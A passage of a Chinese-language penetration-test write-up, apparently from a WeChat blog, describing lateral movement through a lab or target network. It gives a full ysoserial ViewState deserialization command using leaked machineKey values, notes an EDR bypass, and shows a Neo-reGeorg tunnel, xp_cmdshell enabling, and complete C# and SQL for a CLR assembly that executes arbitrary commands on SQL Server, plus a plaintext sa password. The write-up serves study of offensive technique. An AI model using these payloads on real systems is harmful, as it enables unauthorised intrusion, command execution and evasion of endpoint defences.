1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=8b5b264b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0MtjL5BIoUicJ06iagXAiaN9LgviaFGp9YBdiatodIvBXoK78BovlabfbQFw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">关于bitbucket内存后门这块详细的分析：</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><a href="https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499415&amp;idx=1&amp;sn=3a8ff9e5f4596f01255f9ef11b2cd425&amp;scene=21#wechat_redirect" title="https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499415&amp;idx=1&amp;sn=3a8ff9e5f4596f01255f9ef11b2cd425&amp;scene=21#wechat_redirect" style="text-align:left;line-height:1.75;color:#576b95;text-decoration:none;" data-linktype="2"><a href="https://mp.weixin.qq.com/s/OLNznd14NlzEzeGelRLV9g" target="_blank">https://mp.weixin.qq.com/s/OLNznd14NlzEzeGelRLV9g</a></a></p><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:15.400000000000002px;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(250, 81, 81, 1);color:#fff;">web01</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">从bitbucket我们获取了一套.net网站的源码，对应内网的web01(192.168.112.101)。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">拿到这种源码笔者最喜欢直接去看web.config，有惊喜收获：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.07685185185185185" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=77bbf3e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0MAaOrkTjnib6Y9ExBW5LytGsueiaRROI4t8l31nCqu9nd55Zv5PEmGtQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">密钥如果一直没修改的话是一个天然的后门。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">团队的小伙伴也总结过几种利用情况：<a href="https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499203&amp;idx=1&amp;sn=6dcd6418c4d25db7772cafa43c71a04c&amp;scene=21#wechat_redirect" title="https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499203&amp;idx=1&amp;sn=6dcd6418c4d25db7772cafa43c71a04c&amp;scene=21#wechat_redirect" style="text-align:left;line-height:1.75;color:#576b95;text-decoration:none;" data-linktype="2"><a href="https://mp.weixin.qq.com/s/UGFu7zLDUMaCGNYlYm3WRw" target="_blank">https://mp.weixin.qq.com/s/UGFu7zLDUMaCGNYlYm3WRw</a></a></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">这里应该是使用&gt;=4.5这种情况，同时开启mac验证与加密：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.33611111111111114" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=3b273fc4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0sv2RRkZ8qga5icVthdEAqEX557mU9UK7iaEh28mwaFiadGPD5ljeXhqicQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">使用ysoerial生成，这里使用的是老版本1.35：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">ysoserial.exe -p ViewState -g TypeConfuseDelegate -c <span style="color: #a6e22e;line-height: 26px;">&#34;cmd /c echo 123 &gt; c:\inetpub\wwwroot\1.aspx&#34;</span> --path=<span style="color: #a6e22e;line-height: 26px;">&#34;/Account/login.aspx&#34;</span> --apppath=<span style="color: #a6e22e;line-height: 26px;">&#34;/&#34;</span> --decryptionalg=<span style="color: #a6e22e;line-height: 26px;">&#34;AES&#34;</span> --decryptionkey=<span style="color: #a6e22e;line-height: 26px;">&#34;9421E53E196BB56DB11B9C25197A2AD470638EFBC604AC74CD29DBBCF79D6046&#34;</span> --validationalg=<span style="color: #a6e22e;line-height: 26px;">&#34;SHA1&#34;</span> --validationkey=<span style="color: #a6e22e;line-height: 26px;">&#34;86B6275BA31D3D713E41388692FCA68F7D20269411345AA1C17A7386DACC9C46E7CE5F97F556F3CF0A07159659E2706B77731779D2DA4B53BC47BFFD4FD48A54&#34;</span>  --isdebug<br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">这里有个坑点，不能使用“--islegacy”参数，这个参数只用来测试apppath对不对，如果加了会报错签名校验失败。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">执行后没反应，推测是有AV/EDR禁止了w3wp进程启动其他程序。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">需要对ysoserial进行修改，参考：<a href="https://github.com/7BitsTeam/exch_CVE-2021-42321/blob/main/TypeConfuseDelegateGenerator.cs" target="_blank">https://github.com/7BitsTeam/exch_CVE-2021-42321/blob/main/TypeConfuseDelegateGenerator.cs</a></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">将typeconfuse链原本执行命令的功能改为通过c#代码上传文件的功能，绕过了edr。</p><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:15.400000000000002px;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(250, 81, 81, 1);color:#fff;">代理搭建</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">在web01的web.config找到数据配置：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">  &lt;add connectionString=<span style="color: #a6e22e;line-height: 26px;">&#34;Server=192.168.112.201;Database=test;User ID=sa;Password=Fucksqlserver@2022&#34;</span> name=<span style="color: #a6e22e;line-height: 26px;">&#34;BlogEngine&#34;</span> providerName=<span style="color: #a6e22e;line-height: 26px;">&#34;System.Data.SqlClient&#34;</span> /&gt;<br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">在vpn直接访问网络不通，需要通过web01做跳板。目标环境不出网且权限低，这种情况下笔者比较喜欢用neoregeorg这样的web正向后门。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.9710610932475884" title="null" data-type="png" data-w="933" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=3138a3a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0cYHy5dcbQSRDsCVCRouUNdND93FczbnF0v4AaOECbDqa4057bx0nSw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">配合proxifier和wintun可以完美建立正向隧道。</p><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:15.400000000000002px;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(250, 81, 81, 1);color:#fff;">sql02</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">使用navicate连接，尝试使用xpcmd_shell提权：</p></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">EXEC sp_configure <span style="color: #a6e22e;line-height: 26px;">&#39;show advanced options&#39;</span>,1//允许修改高级参数<br/>RECONFIGURE<br/>EXEC sp_configure <span style="color: #a6e22e;line-height: 26px;">&#39;xp_cmdshell&#39;</span>,1  //打开xp_cmdshell扩展<br/>RECONFIGURE<br/>EXEC master.dbo.xp_cmdshell <span style="color: #a6e22e;line-height: 26px;">&#39;ipconfig&#39;</span><br/></code></pre></section><section data-v-b4e935ba=""><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">不可行，应该是杀软拦了。尝试使用clr绕过。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.5947089947089947" title="null" data-type="png" data-w="945" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e03a4fcc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0lAxPMR93ZBqia4Tn4GcqYNxuhroAYLu5ZzOD65m68RfduAvvbAD2NjA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">clr类似于mysql的udf提权，加载一个dll执行对应功能。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">源码：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">using System;<br/>using System.Data;<br/>using System.Data.SqlClient;<br/>using System.Data.SqlTypes;<br/>using System.Diagnostics;<br/>using System.Text;<br/>using Microsoft.SqlServer.Server;<br/>public partial class StoredProcedures<br/>{<br/>    [Microsoft.SqlServer.Server.SqlProcedure]<br/>    public static void ExecCommand (string cmd)<br/>    {<br/>        // 在此处放置代码<br/>        SqlContext.Pipe.Send(<span style="color: #a6e22e;line-height: 26px;">&#34;Command is running, please wait.&#34;</span>);<br/>        SqlContext.Pipe.Send(RunCommand(<span style="color: #a6e22e;line-height: 26px;">&#34;cmd.exe&#34;</span>, <span style="color: #a6e22e;line-height: 26px;">&#34; /c &#34;</span> + cmd));<br/>    }<br/>    public static string RunCommand(string filename,string arguments)<br/>    {<br/>        var process = new Process();<br/>        process.StartInfo.FileName = filename;<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (!string.IsNullOrEmpty(arguments))<br/>        {<br/>            process.StartInfo.Arguments = arguments;<br/>        }<br/>        process.StartInfo.CreateNoWindow = <span style="color: #f92672;font-weight: bold;line-height: 26px;">true</span>;<br/>        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;<br/>        process.StartInfo.UseShellExecute = <span style="color: #f92672;font-weight: bold;line-height: 26px;">false</span>;<br/>        process.StartInfo.RedirectStandardError = <span style="color: #f92672;font-weight: bold;line-height: 26px;">true</span>;<br/>        process.StartInfo.RedirectStandardOutput = <span style="color: #f92672;font-weight: bold;line-height: 26px;">true</span>;<br/>        var stdOutput = new StringBuilder();<br/>        process.OutputDataReceived += (sender, args) =&gt; stdOutput.AppendLine(args.Data);<br/>        string stdError = null;<br/>        try<br/>        {<br/>            process.Start();<br/>            process.BeginOutputReadLine();<br/>            stdError = process.StandardError.ReadToEnd();<br/>            process.WaitForExit();<br/>        }<br/>        catch (Exception e)<br/>        {<br/>            SqlContext.Pipe.Send(e.Message);<br/>        }<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (process.ExitCode == 0)<br/>        {<br/>            SqlContext.Pipe.Send(stdOutput.ToString());<br/>        }<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">else</span><br/>        {<br/>            var message = new StringBuilder();<br/>            <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (!string.IsNullOrEmpty(stdError))<br/>            {<br/>                message.AppendLine(stdError);<br/>            }<br/>            <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (stdOutput.Length != 0)<br/>            {<br/>                message.AppendLine(<span style="color: #a6e22e;line-height: 26px;">&#34;Std output:&#34;</span>);<br/>                message.AppendLine(stdOutput.ToString());<br/>            }<br/>            SqlContext.Pipe.Send(filename + arguments + <span style="color: #a6e22e;line-height: 26px;">&#34; finished with exit code = &#34;</span> + process.ExitCode + <span style="color: #a6e22e;line-height: 26px;">&#34;: &#34;</span> + message);<br/>        }<br/>        <span style="color: #a6e22e;line-height: 26px;">return</span> stdOutput.ToString();<br/>    }<br/>}<br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">进行编译</p></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;"><span style="color: #a6e22e;line-height: 26px;">&#34;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe&#34;</span>  /target:library helloworld.cs<br/></code></pre></section><section data-v-b4e935ba=""><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">将dll进行hex编码后执行mssql命令：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">sp_configure <span style="color: #a6e22e;line-height: 26px;">&#39;clr enabled&#39;</span>, 1<br/>GO<br/>RECONFIGURE<br/>GO<br/>ALTER DATABASE <span style="color: #a6e22e;line-height: 26px;">test</span> SET TRUSTWORTHY ON;<br/>GO<br/>CREATE ASSEMBLY [MSSQL_ShellcodeLoader]<br/>    AUTHORIZATION [dbo]<br/>    FROM [0xbin of dll]<br/>    WITH PERMISSION_SET = UNSAFE;<br/>GO<br/>CREATE PROCEDURE [dbo].[ExecCommand]<br/>@cmd NVARCHAR (MAX)<br/>AS EXTERNAL NAME [MSSQL_ShellcodeLoader].[StoredProcedures].[ExecCommand]<br/>go<br/><span style="color: #a6e22e;line-height: 26px;">exec</span> ExecCommand <span style="color: #a6e22e;line-height: 26px;">&#34;whoami&#34;</span><br/>drop procedure shellcode_loader<br/>drop assembly [MSSQL_ShellcodeLoader]<br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">依旧存在问题</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.7162162162162162" title="null" data-type="png" data-w="962" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c0fbf17a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0GribQd5ZnzPlIbicCdiaEPqvRD38ibj0iaJ9GkJCOISup3EA3zsTyEyatdA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">尝试能否直接执行c#代码：</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">执行：</p></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 